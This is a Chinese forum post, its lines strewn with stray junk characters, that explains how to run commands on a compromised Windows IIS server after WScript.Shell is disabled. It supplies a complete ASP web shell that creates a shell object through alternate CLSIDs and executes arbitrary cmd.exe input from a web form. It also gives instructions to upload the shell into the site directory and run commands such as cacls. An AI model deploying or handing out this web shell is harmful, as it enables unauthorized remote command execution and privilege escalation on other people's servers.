可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
% r# w9 L+ c6 ?: r4 d一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。6 p8 s' w7 }+ D8 z! s
要想让运行命令可以试试这种方法,成功率为五五之数。
( H( E3 w$ q$ O6 S6 p0 u把下面代码复制:
+ @; [1 ?7 u* ?$ g5 F<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
5 g0 B/ G" L& Y8 ~<%if err then%>
5 J1 z7 W8 J& n8 @8 ~( v<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
- k( B! G% Q4 F<%* k: f, k, Y1 r. b% O
end if
( b- M1 N5 Y" `' p* l5 c( Cresponse.write("<textarea readonly cols=80 rows=20>")2 d7 s, h0 q6 |, O* d5 P f
On Error Resume Next& }. i0 o8 b6 Y- g1 T
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
e1 @% W& V. N' z/ ?0 c5 g! m% U; Cresponse.write("</textarea>"). x% [" }+ x+ M2 q; ?
response.write("<form method='post'>")
3 U0 K. e. @' }$ jresponse.write("<input type=text name='c' size=60><br>"), A1 q6 K. i* @) D j# _
response.write("<input type=submit value='执行'></form>")
) g4 Y# L# K9 e# |6 ]%>
8 d& A Q: w( b/ F. V* M# J
" T$ v" Y: a+ x J5 \保存为一个asp文件,然后传到网站目录上去
4 D; A) I+ J! k4 W) D运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
* z9 k6 M6 t5 G6 {, c# o我用此成功运行过cacls命令。
: P4 L6 ^& A6 H
2 X* P1 W+ b- W4 j. R/ `第二那就是运行时出错,可能限制某些代码执行 |